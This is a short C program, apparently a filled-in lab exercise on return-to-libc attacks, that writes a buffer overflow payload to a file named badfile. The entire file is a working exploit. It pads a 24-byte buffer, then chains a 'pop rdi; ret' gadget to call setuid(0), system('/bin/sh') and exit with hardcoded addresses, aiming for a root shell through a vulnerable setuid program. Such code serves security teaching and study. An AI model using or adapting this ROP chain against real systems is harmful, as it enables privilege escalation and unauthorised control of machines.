exploit.c

/* exploit.c */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

#define BUF_LEN  24

int main(int argc, char **argv)
{
	char buf[80];
	FILE *badfile;
	badfile = fopen("./badfile", "w");
	

	for (int i=0; i<BUF_LEN; i++) {
		buf[i]='A';
	}
	
	/* You need to decide the addresses and
	the values for X, Y, Z etc. */
	*(long *)&buf[BUF_LEN] = 0x0000000000400743; //pop rdi; ret
	
	*(long *)&buf[BUF_LEN + 8] = 0; //setuid 0
	
	*(long *)&buf[BUF_LEN + 16] = 0x7ffff7ada700; //setuid 
	
	*(long *)&buf[BUF_LEN + 24] = 0x0000000000400743;    // pop rdi; ret
   
    *(long *)&buf[BUF_LEN + 32] = 0x7ffff7b9a177;   // /bin/sh
   
    *(long *)&buf[BUF_LEN + 40] = 0x7ffff7a53390;   // system
    
    *(long *)&buf[BUF_LEN + 48] = 0x7ffff7a48030; //exit
    

	fwrite(buf, sizeof(buf), 1, badfile);
	fclose(badfile);
}